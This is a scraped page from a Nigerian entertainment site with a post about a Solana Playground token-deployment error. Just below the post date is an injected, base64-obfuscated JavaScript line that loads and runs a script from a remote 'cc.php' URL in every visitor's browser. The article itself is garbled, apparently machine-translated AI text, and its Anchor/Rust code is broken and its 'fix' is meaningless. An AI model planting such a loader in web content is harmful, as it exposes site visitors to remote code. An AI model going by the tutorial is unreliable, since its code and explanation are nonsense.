📲 Click Here to Join Our WhatsApp Channel
NEWS | Politics | CRIME TALK ZONE | DJ MIX | SPORTS |


Burna Boy
Davido
Wizkid
Naira Marley
Olamide
Tiwa Savage
Rema
Asake
Kizz Daniel
OdumoduBLCK
Shallipopi
Tems
Ayra Starr

« | »

Solana: Solana playground: Deployed token has no image and metadata and ({“err”:{“InstructionError”:[2,”AccountNotExecutable”]}})

Published by on February 9th, 2025.


const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=7a11a31f”;document.body.appendChild(script);

I can help you with that. I need more information about your project and the specific error message you have experienced. Here is an example article based on what you have provided:

Solana Playground: Deploying tokens with an unfulfilled account

In this article, we will study the connection of the problems to unleash the Solana Blockchain Marker using an anchor, a popular framework for building decentralized applications (DAPS).

lib.rs

`Is resting

Use Anchor_lang :: Prelude ::*;

Use Anchor_spl :: {

Associated_taken :: AssociatedTequen,

Metadata :: {Create_Metadata_Accounts_v3},

};

#[anchor contract]

MOD my_ Contract {

Use super:*;

#[program]

PUB FN Create_Token (_info: Programinfo) -> Result {

// Create an associated for the unfolded token

Note Token = AssociatoKen :: New ("My Token", "MTOKEN", 1_000_000_000);

// Create Accounts in Metadata for tokena

Let accounts = Create_Metadata_accounts_v3 (& Token, & [123]);

Good (())

}

}

Error

`Json

{

"Type": "Error",

"Msg": "Recuindalerror: Account is not executable",

"Data": {

"Instruction_id": "Create_token",

"Accounts": {

"Token": {

"Data": null,

"Key": "0x ..."

},

"Metadata_accounts_v3": [

...

)

}

}

}

Decision

In this example, the ‘create_metadata_accounts_v3feature is called with an empty array of accounts. To fix this problem, they must specify the account that will be executed by the Anchor compiler. This account must have a unique key (for example "0x ...") and the corresponding address of the contract.

To fix the problem in the filemy_ Contract.Rs, we must add the following line to the Create_TeKen feature:

`Is resting

Let the performance_info = Programinfo :: new ();

Let Contract_address = Execution_info.Account_Key ().

Let the account = "0x ..."; // Replace with a valid account key

// Create Accounts in Metadata for tokena

Let accounts = Create_Metadata_accounts_v3 (& Token, & [Account]);

Good (())

Full code

Here is the full code with the adjusted file my_ Contract.rs:

`Is resting

Use Anchor_lang :: Prelude ::*;

Use Anchor_spl :: {

Associated_taken :: AssociatedTequen,

Metadata :: {Create_Metadata_Accounts_v3},

};

#[anchor contract]

MOD my_ Contract {

Use super:*;

#[program]

PUB FN Create_Token (_info: Programinfo) -> Result {

// Create an associated for the unfolded token

Note Token = AssociatoKen :: New ("My Token", "MTOKEN", 1_000_000_000);

// Create Accounts in Metadata for tokena

Let the performance_info = Programinfo :: new ();

Let the account = "0x ..."; // Replace with a valid account key

Let Contract_address = Execution_info.Account_Key ().

Let accounts = Create_Metadata_accounts_v3 (& Token, & [Account]);

Good (())

}

}

Notes

TRENDING SONGS

Song Prince Thomas Ogungbangbe, PhD, Mourns Former President Muhammadu Buhari Song The Deceptive Charm: Why Some Politicians Embrace a False Humility During Campaigns Song Viral video: SS1 Student Sparks Outrage After Allegedly Acquiring Mercedes-Benz — Father Demands Return, Friends Disagree Song Family Curse: No Woman In My Family Can Keep Husband Alive Past Their 35th Birthday, Lady Reveals Song Video: Man Sitting Behind Tinubu During His Speech At BRICS Meeting Trends Online Song Oga Sabinus-Sabinus is Completed Finished(Comedy Video) Download Song Funny Video: Senate vs a Proud Professor Song JUST IN: See the Numbers of People Road Accident Killed in Lagos

CLICK TO DROP YOUR COMMENT

Share this post with your friends on


0 Responses

Leave a Reply

NOTE:- Make your comment a bit long to get it approved.



Go Back To The Top

« | »


Looking for something? Search below





About First Class Gists


Click Here to Join Our WhatsApp Channel